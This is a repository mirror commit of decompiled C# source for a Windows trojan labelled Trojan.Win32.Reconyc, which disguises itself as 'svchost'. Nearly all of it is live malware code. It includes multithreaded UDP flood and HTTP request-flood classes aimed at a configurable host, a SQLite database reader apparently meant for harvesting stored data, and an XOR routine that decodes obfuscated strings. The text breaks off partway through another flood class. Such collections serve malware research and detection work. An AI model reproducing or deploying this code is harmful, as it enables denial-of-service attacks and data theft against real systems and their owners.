mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
auto-decompiled msil via petikvx
add
This commit is contained in:
+5
@@ -0,0 +1,5 @@
|
||||
using System.Reflection;
|
||||
using System.Security.Permissions;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)]
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>svchost</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>?1?</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="_003F0_003F.cs" />
|
||||
<Compile Include="_003F195_003F.cs" />
|
||||
<Compile Include="_003F2_003F.cs" />
|
||||
<Compile Include="_003F4_003F.cs" />
|
||||
<Compile Include="_003F5_003F.cs" />
|
||||
<Compile Include="_003F1_003F.cs" />
|
||||
<Compile Include="_003F14_003F.cs" />
|
||||
<Compile Include="_003F16_003F.cs" />
|
||||
<Compile Include="_003F18_003F.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "svchost", "Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.csproj", "{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{4AB10E2C-BAD8-44F7-90E3-B26D4B6F4263}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+9
@@ -0,0 +1,9 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?0?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
internal class \u003F0\u003F
|
||||
{
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?14?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using \u003F1\u003F;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
internal class \u003F14\u003F
|
||||
{
|
||||
private static ThreadStart[] \u003F130\u003F;
|
||||
private static Thread[] \u003F131\u003F;
|
||||
public static string \u003F129\u003F;
|
||||
private static IPEndPoint \u003F79\u003F;
|
||||
public static int \u003F132\u003F;
|
||||
public static int \u003F87\u003F;
|
||||
private static \u003F14\u003F.\u003F15\u003F[] \u003F133\u003F;
|
||||
public static int \u003F134\u003F;
|
||||
public static int \u003F183\u003F;
|
||||
|
||||
public static void \u003F47\u003F()
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F14\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F14\u003F.\u003F129\u003F).AddressList[0], \u003F14\u003F.\u003F132\u003F);
|
||||
}
|
||||
catch
|
||||
{
|
||||
\u003F14\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F14\u003F.\u003F129\u003F), \u003F14\u003F.\u003F132\u003F);
|
||||
}
|
||||
\u003F14\u003F.\u003F131\u003F = new Thread[\u003F14\u003F.\u003F134\u003F];
|
||||
\u003F14\u003F.\u003F130\u003F = new ThreadStart[\u003F14\u003F.\u003F134\u003F];
|
||||
\u003F14\u003F.\u003F133\u003F = new \u003F14\u003F.\u003F15\u003F[\u003F14\u003F.\u003F134\u003F];
|
||||
for (int index = 0; index < \u003F14\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
\u003F14\u003F.\u003F133\u003F[index] = new \u003F14\u003F.\u003F15\u003F(\u003F14\u003F.\u003F79\u003F, \u003F14\u003F.\u003F183\u003F, \u003F14\u003F.\u003F87\u003F);
|
||||
\u003F14\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F14\u003F.\u003F133\u003F[index].\u003F23\u003F);
|
||||
\u003F14\u003F.\u003F131\u003F[index] = new Thread(\u003F14\u003F.\u003F130\u003F[index]);
|
||||
\u003F14\u003F.\u003F131\u003F[index].Start();
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u003F48\u003F()
|
||||
{
|
||||
for (int index = 0; index < \u003F14\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F14\u003F.\u003F131\u003F[index].Suspend();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private class \u003F15\u003F
|
||||
{
|
||||
private IPEndPoint \u003F79\u003F;
|
||||
private int \u003F87\u003F;
|
||||
private Socket[] \u003F135\u003F;
|
||||
private int \u003F183\u003F;
|
||||
|
||||
public \u003F15\u003F(IPEndPoint _param1, int _param2, int _param3)
|
||||
{
|
||||
this.\u003F79\u003F = _param1;
|
||||
this.\u003F183\u003F = _param2;
|
||||
this.\u003F87\u003F = _param3;
|
||||
}
|
||||
|
||||
public void \u003F23\u003F()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
byte[] buffer = new byte[this.\u003F87\u003F];
|
||||
try
|
||||
{
|
||||
this.\u003F135\u003F = new Socket[this.\u003F183\u003F];
|
||||
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
||||
{
|
||||
this.\u003F135\u003F[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
|
||||
this.\u003F135\u003F[index].Blocking = false;
|
||||
this.\u003F135\u003F[index].SendTo(buffer, (EndPoint) this.\u003F79\u003F);
|
||||
}
|
||||
Thread.Sleep(100);
|
||||
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
this.\u003F135\u003F = (Socket[]) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
for (int index = 0; index < this.\u003F183\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.\u003F135\u003F[index].Connected)
|
||||
this.\u003F135\u003F[index].Disconnect(false);
|
||||
this.\u003F135\u003F[index].Close();
|
||||
this.\u003F135\u003F[index] = (Socket) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+243
@@ -0,0 +1,243 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?16?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using \u003F1\u003F;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Data;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
public class \u003F16\u003F
|
||||
{
|
||||
private const int \u003F184\u003F = 101;
|
||||
private const int \u003F185\u003F = 0;
|
||||
private const int \u003F186\u003F = 100;
|
||||
private IntPtr \u003F122\u003F;
|
||||
|
||||
public \u003F16\u003F() => this.\u003F122\u003F = IntPtr.Zero;
|
||||
|
||||
public \u003F16\u003F(string _param1) => this.\u003F57\u003F(_param1);
|
||||
|
||||
public void \u003F49\u003F()
|
||||
{
|
||||
if (!(this.\u003F122\u003F != IntPtr.Zero))
|
||||
return;
|
||||
\u003F16\u003F.\u003F61\u003F(this.\u003F122\u003F);
|
||||
}
|
||||
|
||||
public void \u003F50\u003F(string _param1)
|
||||
{
|
||||
IntPtr num;
|
||||
\u003F16\u003F.\u003F71\u003F(this.\u003F122\u003F, this.\u003F76\u003F(_param1), IntPtr.Zero, IntPtr.Zero, out num);
|
||||
if (num != IntPtr.Zero)
|
||||
throw new Exception(\u003F195\u003F.\u003F196\u003F("dŒɭͱѯԼ٬ݳ\u086D॰\u0A37\u0B73౭\u0D71\u0E70ཧၥᅹቡ\u1369ᐭᕢᙤᝤᠤ\u1979ᩲ᭣ᱷᵽḹἢ‣") + _param1 + \u003F195\u003F.\u003F196\u003F("!ģȋ") + this.\u003F58\u003F(\u003F16\u003F.\u003F70\u003F(num)));
|
||||
}
|
||||
|
||||
public DataTable \u003F51\u003F(string _param1)
|
||||
{
|
||||
IntPtr num1;
|
||||
\u003F16\u003F.\u003F74\u003F(this.\u003F122\u003F, this.\u003F76\u003F(_param1), this.\u003F52\u003F(this.\u003F76\u003F(_param1)), out num1, out IntPtr _);
|
||||
DataTable dataTable = new DataTable();
|
||||
int num2 = this.\u003F59\u003F(num1, ref dataTable);
|
||||
while (num2 == 100)
|
||||
num2 = this.\u003F60\u003F(num1, ref dataTable);
|
||||
\u003F16\u003F.\u003F72\u003F(num1);
|
||||
return dataTable;
|
||||
}
|
||||
|
||||
private int \u003F52\u003F(IntPtr _param1) => _param1 == IntPtr.Zero ? 0 : \u003F16\u003F.\u003F56\u003F(_param1);
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "GetProcessHeap")]
|
||||
private static extern IntPtr \u003F53\u003F();
|
||||
|
||||
public ArrayList \u003F54\u003F()
|
||||
{
|
||||
DataTable dataTable = this.\u003F51\u003F(\u003F195\u003F.\u003F196\u003F("âǵˣϫӮ\u05F8ڋ߄\u08C8\u09C5ૂஆೣ\u0DF6\u0EEC\u0FEFႁᇓዮᏲᓴᗨ\u16FEៅᣴ᧹\u1AE4ᯢᳰᷦẳ\u1FC5⃙⇕⋝⏋⒭◸⛲⟺⣬⦨⫎⯈ⲥⶬ⺤⿶ム㇢㈓㌛㑚㕐㙜㜌㠐㤝㨀㭑㱜㵔㸲㼼䀵䅐䈁䌏䐀䔉䙋䜤䠦䤼䩇䬪䰬䴯並佂偆儓刮匲吴唨嘾圅塼奿娂嬘尜崛帝彲怐愜戃据搞攉昇朏栊検橧欨氤洩渦潢瀇焒牰獳琝畏癊睖硐祌穒筩籁絑繞罂聮腝艎荝葙蕉虙蜊衾襠詢譴豠贄蹗轛遑酅鈿鍗鑓锼阳霽顭饹驵魺鱰鴳鸿鼵ꁧꅹꉪꍹꐪꔥꘫꝅꡛꥌꩂꭔ갥굆깚꼢뀰"));
|
||||
ArrayList arrayList = new ArrayList();
|
||||
foreach (DataRow row in (InternalDataCollectionBase) dataTable.Rows)
|
||||
arrayList.Add((object) row.ItemArray[0].ToString());
|
||||
return arrayList;
|
||||
}
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "HeapAlloc")]
|
||||
private static extern IntPtr \u003F55\u003F(IntPtr _param0, uint _param1, uint _param2);
|
||||
|
||||
[DllImport("kernel32", EntryPoint = "lstrlen")]
|
||||
private static extern int \u003F56\u003F(IntPtr _param0);
|
||||
|
||||
public void \u003F57\u003F(string _param1)
|
||||
{
|
||||
if (\u003F16\u003F.\u003F73\u003F(this.\u003F76\u003F(_param1), out this.\u003F122\u003F) != 0)
|
||||
{
|
||||
this.\u003F122\u003F = IntPtr.Zero;
|
||||
throw new Exception(\u003F195\u003F.\u003F196\u003F("YũɨͶѪԷ١ݼ\u0860ॻਲ\u0B7Eౠ൪\u0E60ཤၢᅬሪ\u136Dᑩᕳᙧᝧᡥᥰᩧᬡ") + _param1 + \u003F195\u003F.\u003F196\u003F(" "));
|
||||
}
|
||||
}
|
||||
|
||||
private string \u003F58\u003F(IntPtr _param1)
|
||||
{
|
||||
if (_param1 == IntPtr.Zero)
|
||||
return (string) null;
|
||||
Encoding utF8 = Encoding.UTF8;
|
||||
int length = this.\u003F52\u003F(_param1);
|
||||
byte[] numArray = new byte[length];
|
||||
Marshal.Copy(_param1, numArray, 0, length);
|
||||
return utF8.GetString(numArray, 0, length);
|
||||
}
|
||||
|
||||
private int \u003F59\u003F(IntPtr _param1, ref DataTable _param2)
|
||||
{
|
||||
_param2 = new DataTable(\u003F195\u003F.\u003F196\u003F("yůɺͽѫղّݥ\u0861८\u0A64"));
|
||||
if (\u003F16\u003F.\u003F75\u003F(_param1) == 100)
|
||||
{
|
||||
int length = \u003F16\u003F.\u003F63\u003F(_param1);
|
||||
\u003F195\u003F.\u003F196\u003F("");
|
||||
object[] objArray = new object[length];
|
||||
for (int index = 0; index < length; ++index)
|
||||
{
|
||||
string columnName = this.\u003F58\u003F(\u003F16\u003F.\u003F66\u003F(_param1, index));
|
||||
switch (\u003F16\u003F.\u003F69\u003F(_param1, index))
|
||||
{
|
||||
case 1:
|
||||
_param2.Columns.Add(columnName, Type.GetType(\u003F195\u003F.\u003F196\u003F("_Ųɹͽѭժب\u074C\u086Aॷ\u0A31ଳ")));
|
||||
objArray[index] = (object) \u003F16\u003F.\u003F65\u003F(_param1, index);
|
||||
break;
|
||||
case 2:
|
||||
_param2.Columns.Add(columnName, Type.GetType(\u003F195\u003F.\u003F196\u003F("^ŵɸ;Ѭեةݕ\u086C४\u0A64୮\u0C64")));
|
||||
objArray[index] = (object) \u003F16\u003F.\u003F64\u003F(_param1, index);
|
||||
break;
|
||||
case 3:
|
||||
_param2.Columns.Add(columnName, Type.GetType(\u003F195\u003F.\u003F196\u003F("^ŵɸ;Ѭեةݕ\u0871ॶ੪୬౦")));
|
||||
objArray[index] = (object) this.\u003F58\u003F(\u003F16\u003F.\u003F68\u003F(_param1, index));
|
||||
break;
|
||||
case 4:
|
||||
_param2.Columns.Add(columnName, Type.GetType(\u003F195\u003F.\u003F196\u003F("^ŵɸ;Ѭեةݕ\u0871ॶ੪୬౦")));
|
||||
objArray[index] = (object) this.\u003F58\u003F(\u003F16\u003F.\u003F62\u003F(_param1, index));
|
||||
break;
|
||||
default:
|
||||
_param2.Columns.Add(columnName, Type.GetType(\u003F195\u003F.\u003F196\u003F("^ŵɸ;Ѭեةݕ\u0871ॶ੪୬౦")));
|
||||
objArray[index] = (object) \u003F195\u003F.\u003F196\u003F("");
|
||||
break;
|
||||
}
|
||||
}
|
||||
_param2.Rows.Add(objArray);
|
||||
}
|
||||
return \u003F16\u003F.\u003F75\u003F(_param1);
|
||||
}
|
||||
|
||||
private int \u003F60\u003F(IntPtr _param1, ref DataTable _param2)
|
||||
{
|
||||
int length = \u003F16\u003F.\u003F63\u003F(_param1);
|
||||
object[] objArray = new object[length];
|
||||
for (int index = 0; index < length; ++index)
|
||||
{
|
||||
switch (\u003F16\u003F.\u003F69\u003F(_param1, index))
|
||||
{
|
||||
case 1:
|
||||
objArray[index] = (object) \u003F16\u003F.\u003F65\u003F(_param1, index);
|
||||
break;
|
||||
case 2:
|
||||
objArray[index] = (object) \u003F16\u003F.\u003F64\u003F(_param1, index);
|
||||
break;
|
||||
case 3:
|
||||
objArray[index] = (object) this.\u003F58\u003F(\u003F16\u003F.\u003F68\u003F(_param1, index));
|
||||
break;
|
||||
case 4:
|
||||
objArray[index] = (object) this.\u003F58\u003F(\u003F16\u003F.\u003F62\u003F(_param1, index));
|
||||
break;
|
||||
default:
|
||||
objArray[index] = (object) \u003F195\u003F.\u003F196\u003F("");
|
||||
break;
|
||||
}
|
||||
}
|
||||
_param2.Rows.Add(objArray);
|
||||
return \u003F16\u003F.\u003F75\u003F(_param1);
|
||||
}
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_close")]
|
||||
private static extern int \u003F61\u003F(IntPtr _param0);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_blob")]
|
||||
private static extern IntPtr \u003F62\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_count")]
|
||||
private static extern int \u003F63\u003F(IntPtr _param0);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_double")]
|
||||
private static extern double \u003F64\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_int")]
|
||||
private static extern int \u003F65\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_name")]
|
||||
private static extern IntPtr \u003F66\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_table_name")]
|
||||
private static extern IntPtr \u003F67\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_text")]
|
||||
private static extern IntPtr \u003F68\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_column_type")]
|
||||
private static extern int \u003F69\u003F(IntPtr _param0, int _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_errmsg")]
|
||||
private static extern IntPtr \u003F70\u003F(IntPtr _param0);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_exec")]
|
||||
private static extern int \u003F71\u003F(
|
||||
IntPtr _param0,
|
||||
IntPtr _param1,
|
||||
IntPtr _param2,
|
||||
IntPtr _param3,
|
||||
out IntPtr _param4);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_finalize")]
|
||||
private static extern int \u003F72\u003F(IntPtr _param0);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_open")]
|
||||
private static extern int \u003F73\u003F(IntPtr _param0, out IntPtr _param1);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_prepare_v2")]
|
||||
private static extern int \u003F74\u003F(
|
||||
IntPtr _param0,
|
||||
IntPtr _param1,
|
||||
int _param2,
|
||||
out IntPtr _param3,
|
||||
out IntPtr _param4);
|
||||
|
||||
[DllImport("sqlite3", EntryPoint = "sqlite3_step")]
|
||||
private static extern int \u003F75\u003F(IntPtr _param0);
|
||||
|
||||
private IntPtr \u003F76\u003F(string _param1)
|
||||
{
|
||||
switch (_param1)
|
||||
{
|
||||
case null:
|
||||
return IntPtr.Zero;
|
||||
default:
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(_param1);
|
||||
int num1 = bytes.Length + 1;
|
||||
IntPtr num2 = \u003F16\u003F.\u003F55\u003F(\u003F16\u003F.\u003F53\u003F(), 0U, (uint) num1);
|
||||
Marshal.Copy(bytes, 0, num2, bytes.Length);
|
||||
Marshal.WriteByte(num2, bytes.Length, (byte) 0);
|
||||
return num2;
|
||||
}
|
||||
}
|
||||
|
||||
public enum \u003F17\u003F
|
||||
{
|
||||
\u003F189\u003F = 1,
|
||||
\u003F188\u003F = 2,
|
||||
\u003F191\u003F = 3,
|
||||
\u003F187\u003F = 4,
|
||||
\u003F190\u003F = 5,
|
||||
}
|
||||
}
|
||||
}
|
||||
+71
@@ -0,0 +1,71 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?18?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using \u003F1\u003F;
|
||||
using System.Net;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
internal class \u003F18\u003F
|
||||
{
|
||||
private static ThreadStart[] \u003F130\u003F;
|
||||
private static Thread[] \u003F131\u003F;
|
||||
public static string \u003F129\u003F;
|
||||
private static \u003F18\u003F.\u003F19\u003F[] \u003F192\u003F;
|
||||
public static int \u003F134\u003F;
|
||||
|
||||
public static void \u003F77\u003F()
|
||||
{
|
||||
\u003F18\u003F.\u003F131\u003F = new Thread[\u003F18\u003F.\u003F134\u003F];
|
||||
\u003F18\u003F.\u003F130\u003F = new ThreadStart[\u003F18\u003F.\u003F134\u003F];
|
||||
\u003F18\u003F.\u003F192\u003F = new \u003F18\u003F.\u003F19\u003F[\u003F18\u003F.\u003F134\u003F];
|
||||
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
\u003F18\u003F.\u003F192\u003F[index] = new \u003F18\u003F.\u003F19\u003F(\u003F18\u003F.\u003F129\u003F);
|
||||
\u003F18\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F18\u003F.\u003F192\u003F[index].\u003F23\u003F);
|
||||
\u003F18\u003F.\u003F131\u003F[index] = new Thread(\u003F18\u003F.\u003F130\u003F[index]);
|
||||
\u003F18\u003F.\u003F131\u003F[index].Start();
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u003F78\u003F()
|
||||
{
|
||||
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F18\u003F.\u003F131\u003F[index].Suspend();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private class \u003F19\u003F
|
||||
{
|
||||
private string \u003F129\u003F;
|
||||
private WebClient \u003F193\u003F = new WebClient();
|
||||
|
||||
public \u003F19\u003F(string _param1) => this.\u003F129\u003F = _param1;
|
||||
|
||||
public void \u003F23\u003F()
|
||||
{
|
||||
while (true)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.\u003F193\u003F.DownloadString(this.\u003F129\u003F);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?195?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
public class \u003F195\u003F
|
||||
{
|
||||
public static string \u003F196\u003F(string _param0)
|
||||
{
|
||||
int length = _param0.Length;
|
||||
char[] chArray = new char[length];
|
||||
for (int index = 0; index < chArray.Length; ++index)
|
||||
{
|
||||
char ch = _param0[index];
|
||||
byte num1 = (byte) ((uint) ch ^ (uint) (length - index));
|
||||
byte num2 = (byte) ((int) ch >> 8 ^ index);
|
||||
chArray[index] = (char) ((uint) num2 << 8 | (uint) num1);
|
||||
}
|
||||
return string.Intern(new string(chArray));
|
||||
}
|
||||
}
|
||||
+1062
File diff suppressed because it is too large
Load Diff
+124
@@ -0,0 +1,124 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ?1?.?2?
|
||||
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
|
||||
|
||||
using \u003F1\u003F;
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u003F1\u003F
|
||||
{
|
||||
internal class \u003F2\u003F
|
||||
{
|
||||
private static ThreadStart[] \u003F130\u003F;
|
||||
private static Thread[] \u003F131\u003F;
|
||||
public static string \u003F129\u003F;
|
||||
private static IPEndPoint \u003F79\u003F;
|
||||
public static int \u003F132\u003F;
|
||||
private static \u003F2\u003F.\u003F3\u003F[] \u003F133\u003F;
|
||||
public static int \u003F80\u003F;
|
||||
public static int \u003F134\u003F;
|
||||
|
||||
public static void \u003F20\u003F()
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F2\u003F.\u003F79\u003F = new IPEndPoint(Dns.GetHostEntry(\u003F2\u003F.\u003F129\u003F).AddressList[0], \u003F2\u003F.\u003F132\u003F);
|
||||
}
|
||||
catch
|
||||
{
|
||||
\u003F2\u003F.\u003F79\u003F = new IPEndPoint(IPAddress.Parse(\u003F2\u003F.\u003F129\u003F), \u003F2\u003F.\u003F132\u003F);
|
||||
}
|
||||
\u003F2\u003F.\u003F131\u003F = new Thread[\u003F2\u003F.\u003F134\u003F];
|
||||
\u003F2\u003F.\u003F130\u003F = new ThreadStart[\u003F2\u003F.\u003F134\u003F];
|
||||
\u003F2\u003F.\u003F133\u003F = new \u003F2\u003F.\u003F3\u003F[\u003F2\u003F.\u003F134\u003F];
|
||||
for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
\u003F2\u003F.\u003F133\u003F[index] = new \u003F2\u003F.\u003F3\u003F(\u003F2\u003F.\u003F79\u003F, \u003F2\u003F.\u003F80\u003F);
|
||||
\u003F2\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F2\u003F.\u003F133\u003F[index].\u003F23\u003F);
|
||||
\u003F2\u003F.\u003F131\u003F[index] = new Thread(\u003F2\u003F.\u003F130\u003F[index]);
|
||||
\u003F2\u003F.\u003F131\u003F[index].Start();
|
||||
}
|
||||
}
|
||||
|
||||
public static void \u003F21\u003F()
|
||||
{
|
||||
for (int index = 0; index < \u003F2\u003F.\u003F134\u003F; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
\u003F2\u003F.\u003F131\u003F[index].Suspend();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private class \u003F3\u003F
|
||||
{
|
||||
private IPEndPoint \u003F79\u003F;
|
||||
private Socket[] \u003F135\u003F;
|
||||
private int \u003F80\u003F;
|
||||
|
||||
public \u003F3\u003F(IPEndPoint _param1, int _param2)
|
||||
{
|
||||
this.\u003F79\u003F = _param1;
|
||||
